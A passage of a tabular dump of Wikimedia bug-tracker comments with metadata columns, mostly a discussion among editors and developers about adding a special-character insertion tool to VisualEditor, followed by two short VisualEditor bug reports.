not.",,,1383640351,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,1,0
+230378,VisualEditor: Provide a character insertion tool,"(In reply to comment #27)
+> If this selection tool is ever provided, please make sure users have an
+> option not to load it at all (see bug 11130 for this problem in the context
+> of MediaWiki:Edittools)
+
+It's very unlikely that we'll start adding per-user preferences to switch things like this on and off (some VE version of bug 9754); that's a very complex and confusing thing to allow.
+
+Note BTW that bug 11130 is complaining about assuming users have JS (already known inside VE), lack of ability to cache (fixed by VE's nature), and taking up lots of screen estate (fixed by how we'll do this); I don't think it's a direct comparison. I'd also note that bug 11130 hasn't been done despite it being filed 6 years ago, which strongly suggests that it's not a priority.",,,1383411270,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,17,,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+230370,VisualEditor: Provide a character insertion tool,"Change 90940 had a related patch set uploaded by Jforrester:
+[WIP] Insert special character tool
+
+https://gerrit.wikimedia.org/r/90940",,,1383409609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+230364,VisualEditor: Provide a character insertion tool,"If this selection tool is ever provided, please make sure users have an option not to load it at all (see bug 11130 for this problem in the context of MediaWiki:Edittools)",,,1383125351,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+230355,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:
+
+When I proposed a whole collection of sequences of characters to put into the ULS input method for Welsh, which uses a lot of diacritics, the comment from CYWP was that it would be a lot of work to memorise these character sequences, and it is not easy to find out about the ULS input methods.
+
+The bar of characters under the edit box is very easy to understand, just by looking at it, and having a go. Almost no-one needs a help page on how to use it. Once you know what it does, there is nothing to memorise, and nothing to forget. Since simplicity is the aim with VisualEditor (to encourage new users), the bar of characters wins over anything more complicated, in my opinion.",,,1383083841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,0,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+230346,VisualEditor: Provide a character insertion tool,"I agree with James Forrester's comment #0. Character input in particular languages should be possible, but through the universal language selector, and in all text inputs on the website.
+
+I think the ideal way to handle en dashes and em dashes would be to make ""--"" be replaced by the wikitext parser by an en dash (–), ""---"" by an em dash (—) and ""----"" by an horizontal bar (―). The current horizontal rule syntax would become ""-----"" (it would require one more hyphen-minus because the current one would be taken by the horizontal bar character). There would therefore become part of the syntax. DokuWiki does this for en dashes and em dashes (https://www.dokuwiki.org/wiki:syntax#text_to_html_conversions), but not the others.
+
+As I mentioned, this is what I think would be the ideal way to handle it. Practically, this is impossible because these sequences are already used in many pages for other purposes. An acceptable solution would, I believe, be to make the editor recognize those sequences and replace them automatically by the corresponding character. This would be reasonable in the VisualEditor and would be more efficient than putting a bar of characters under the edit box and hoping beginners will use it to insert dashes. However, since the sequence ""--"" is used in signatures on talk pages and possibly for other things in wikitext, it may be preferable to avoid doing these replacements in the source editor.
+
+It might be a good idea to add sequences of characters for producing similar characters. As long as the sequences are well chosen, problems should not arise frequently, and this could reduce considerably the typographical burden put on beginners.",,,1382936493,,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+230339,VisualEditor: Provide a character insertion tool,"**lebo.beland** wrote:
+
+I didn't read the whole thread,  but I suggest to look at including Mediawiki:Edittools in the Visual Editor. For many projects, this include the special characters and useful stuff specific to each project.
+
+Thanks,",,,1382929831,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+230336,VisualEditor: Provide a character insertion tool,*** Bug 55496 has been marked as a duplicate of this bug. ***,,,1381329553,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+230332,VisualEditor: Provide a character insertion tool,"Czech editors have compiled a list of characters they find are vital for their day-to-day editing. From https://cs.wikipedia.org/wiki/Diskuse_k_Wikipedii:VisualEditor
+
+
+
+Output	Name	                                Entity	Decimal
+ 	nobreak space	                        &nbsp;	&#160;
+ 	thin space	                        &thinsp;	 
+„	curly quotation marks begin (99)	&bdquo;	&#8222;
+“	curly quotation marks end (66)	        &ldquo;	&#8220;
+‚	simple curly quotation marks begin	&sbquo;	&#8218;
+‘	simple curly quotation marks end	&lsquo;	&#8216;
+–	n-dash	                                &ndash;	&#8211;
+×	times	                                &times;	&#215;
+
+In particular, both kinds of quotation marks (we are very particular about those, like the French about theirs) could be insertable either one by one or in pairs, like so: „“ and ‚‘.
+In general, easy access to inserting those characters would be a very desirable feature for Czech editors – and even better would be the MS Word functionality that automatically converts minuses into n-dashes and ""English quotation marks"" into „Czech quotation marks“. Best, Littledogboy (diskuse) 1. 10. 2013, 11:35 (UTC)
+Important: Although I've listed their codes, we usually enter n-dash and curly quotation marks NOT as html entities, but simply like so „–“ (Alt-0132, Alt-0150, Alt-0147 – yes, I am a robot). Littledogboy (diskuse) 1. 10. 2013, 11:51 (UTC)",,,1380652688,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,13,,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0
+230329,VisualEditor: Provide a character insertion tool,"The other problem is that with VE having no source mode as yet, I can't even resort to HTML entities.",,,1380018347,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+230326,VisualEditor: Provide a character insertion tool,"Further to comment 18 and comment 19 a big use case of the character insertion toolbar is to insert characters one does not frequently use.
+
+Utilities like an external character map are very inefficient because it disrupts the work flow, requires you to find the character you want, and copy and paste the character you need. It also replaces whatever else you had in the clipboard previously that you may still need.
+
+Dead keys are useful only if you know that they exist, know how to set them up (they are not enabled by default on most US and UK systems at least), and know the combinations required to input the character you want. I have a much better memory for things like that than many people, and while I know ones like é, Ŵ, ß, ° and ö, characters like ř, Đ and ố I don't. As far as I know, characters in other scripts like д, ζ, ب ,ש, are not producible using deadkey combinations.
+
+Input methods are a very heavy weight solution to inputting characters not found natively on one's keyboard. They always require setting up in advance for each script (and some script/language combinations I think) and learning how to produce each desired character. I only use this method for IPA because I did a lot of work with pronunciations at Wiktionary and that required learning that to produce /ˌbʌɡˈzɪlə/ I need to type /%bVg""zIl@/ - hardly something we can expect a casual editor to learn.  
+
+One of the primary goals of VisualEditor is to reduce the barrier to contributing to Wikimedia projects, not having a character insertion tool is rather contradictory to this.",,,1380018097,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,12,,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+230323,VisualEditor: Provide a character insertion tool,"I need to point out the irony of developing an editing interface with the good faith but technically challenged user in mind, and then expecting them to know how to use their browser/operating system to insert an emdash (a character not present on the standard English keyboard, but used over a million times on English Wikipedia). Given the target group for this extension, this isn't a low-priority enhancement, it is core functionality. In fact, the existing editorial base uses the edit tools almost exclusively over their browser/operating system, and I suspect many of them (including me) have no idea how to do use the latter.",,,1379917317,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,12,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+230320,VisualEditor: Provide a character insertion tool,"Yep. When you need to add an accented character, you need to add an accented character. This is a quite definitely missing facility.",,,1379690527,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+230316,VisualEditor: Provide a character insertion tool,"Another request today for [[MediaWiki:Edittools]] or an equivalent to be available in VE.
+
+I second comment 8 and comment 10 - this is one of the features of the source editor that editors really miss.",,,1379686473,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+230311,VisualEditor: Provide a character insertion tool,"Sorry Lloffiwr, my bad: I thought that Welshp WP had somehow made that set of characters already available with VisualEditor as well.",,,1377688397,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+230305,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:
+
+""Lloffiwr, can you link to this workaround?"" - Sorry I don't know what you are asking me to do.
+
+With regard to using our own edit tools, that would be very good. It is very simple to just click on one of a number of characters sitting on a toolbar right next to the editor. You don't have to remember key combinations, there is no need to look up a help page and learn how to insert characters. The character toolbar's purpose in the normal editor is obvious and it is ready to use for all users (you don't have to enable a special keyboard as you would with the ULS).
+
+By the way, in the ""save"" dialog of the VisualEditor on CYWP, we see an image of our short character toolbar, but have no way of actually using it! I, an experienced editor, was very confused by this; the new editors for whom this tool is designed are likely to be completely floored by it.",,,1377641765,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,8,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+230300,VisualEditor: Provide a character insertion tool,"Lloffiwr, can you link to this workaround? I tried enabling VE on your wiki but that was not enough, should I also enable some gadget maybe? 
+James, until this or other IME issues are not solved, isn't there a way to let these wikis use their very own edit tools, i.e. http://pms.wikipedia.org/wiki/MediaWiki:Edittools ?",,,1377258190,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,7,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+230293,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:
+
+To make life easy on the Welsh Wikipedia, we have added a short character set consisting only of the most commonly used special characters immediately below the edit window. We have also added a more comprehensive set of special characters further down below the edit window. I think it would be useful to add the full character set to VisualEditor as standard, but also to allow each Wikipedia to add its own special character set via an optional message.",,,1375136279,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0
+230286,VisualEditor: Provide a character insertion tool,This is among the most important missing features for dewp.,,,1375019373,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0
+230278,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:
+
+Another example of a language whose users make heavy use of the character insertion tool underneath the old edit window is Welsh (cy). Some of us work with keyboards which have been specially adapted to easily type the diacritics needed (including ŵ and ŷ) but not all hardware devices have this software loaded. This means that the VisualEditor is very difficult to use for some users, making training sessions for new users (some with, some without the diacritics software) difficult to conduct using VisualEditor.",,,1374356830,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,2,,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+230270,VisualEditor: Provide a character insertion tool,"Agreed with comment 8. The special characters insertion tool in WikiEditor is very convenient when editing articles about topics that involve other scripts or diacritics. Not providing such a tool in VisualEditor would seriously reduce VE's usefulness, and would certainly provide a compelling reason to use the source editor much more often than otherwise necessary.",,,1374264181,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,2,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0
+230264,VisualEditor: Provide a character insertion tool,"BTW, if we ever do get another symbol picker, please make it share it's table with WikiEditor, limiting the places where we need to maintain these chars. (We already have 3 [WikiEditor extension, MediaWiki:Edittools, MediaWiki:Edittools.js])",,,1374264087,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+230258,VisualEditor: Provide a character insertion tool,"""Character insertion is, in general, the responsibility of your browser/operating system""
+
+Yes and no. Yes, your computer is capable of inserting loads of characters. No, it is not always reachable.
+
+At least, I know of no operating system + browser combination, where I can put my cursor in a text area and bring up a symbol picker from the menu or a toolbar. (Unlike spellchecking).",,,1374263950,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,0
+230252,VisualEditor: Provide a character insertion tool,*** Bug 51120 has been marked as a duplicate of this bug. ***,,,1374263430,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+230249,VisualEditor: Provide a character insertion tool,"http://en.wikipedia.org/wiki/File:VE_modified_ui_suggestion.png shows one user's suggestion.  
+
+See http://en.wikipedia.org/w/index.php?oldid=564286664#Thoughts_about_UI_improvements for the discussion.",,,1373843965,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+230245,VisualEditor: Provide a character insertion tool,"There was a similar request on Portuguese Wikipedia[1]. A user wanted to use the kind of tool we see in the screenshot [2].
+
+
+[1] https://pt.wikipedia.org/wiki/WP:Editor_Visual/Coment%C3%A1rios?oldid=36280987&uselang=en#Adi.C3.A7.C3.A3o_de_caracteres_especial_no_Visual_editor
+[2] http://postimg.org/image/mwbyn96gn/",,,1372773901,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+230241,VisualEditor: Provide a character insertion tool,Nonbreaking spaces would be helpful as well.,,,1372736869,,PHID-USER-jdkjcyuluyy456zxyufo,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+230235,VisualEditor: Provide a character insertion tool,We've had another comment re: emdashes here:http://en.wikipedia.org/w/index.php?title=Wikipedia_talk:VisualEditor&curid=37920680&diff=562488469&oldid=562482174,,,1372735991,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+230230,VisualEditor: Provide a character insertion tool,"Well, I'm sat on my windows machine here and can't see any way to type an emdash, for example :/",,,1372356235,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+230223,VisualEditor: Provide a character insertion tool,"(In reply to comment #0)
+> The VisualEditor doesn't currently have a mechanism for inserting special
+> characters - while a lot of them are unnecessary (~~~~ for example), things
+> like en and emdashes can be quite important for content.
+
+Character insertion is, in general, the responsibility of your browser/operating system (same as spell check, IME and other general editing tools). Where your local OS fails, we have a 'standard' of providing general tools to let you get OS-level tools (most notably, ULS), rather than one-off ""insert a bunch of random characters"" micro-tools.
+
+MediaWiki has given people tools to insert random characters primarily because they do special things, and we've given up on users being able to magically know them (like ~~~~ or {{DEFAULTSORT:}}). They're all examples of system design failure. The fact that we have extended the metaphor to give ""helpful"" characters that users can trivially type themselves isn't a great reason to create it from scratch.
+
+I'm not dead-set against this, but it feels like a clunky failure. :-(",,,1372355885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+52286,VisualEditor: Backspace at the beginning of a line before an image inserts the succeeding text as a thumbnail caption,"Screenshot
+
+See the screenshot; before and after the backspace, respectively.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51624
+
+**Attached**: {F11902}",High,80.0,1372341120,1384944160.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-kum7spdwx5xdoe73t4u5,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+255167,VisualEditor: Backspace at the beginning of a line before an image inserts the succeeding text as a thumbnail caption,This was fixed months ago; sorry for not spotting this bug report until now.,,,1384944160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kum7spdwx5xdoe73t4u5,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+255162,VisualEditor: Backspace at the beginning of a line before an image inserts the succeeding text as a thumbnail caption,This is the same issue as Bug 51624 that was originally reported as happening with table cells and then extended to include image captions. I'm not sure which should me marked as duplicate of the other,,,1374599258,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kum7spdwx5xdoe73t4u5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+52285,VisualEditor: Template/Image node shields should not not appear on top of the toolbar,"Screenshot
+
+See screenshot. The template inspector overlaps not only the document (that would be good - see 50241) - but the toolbar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
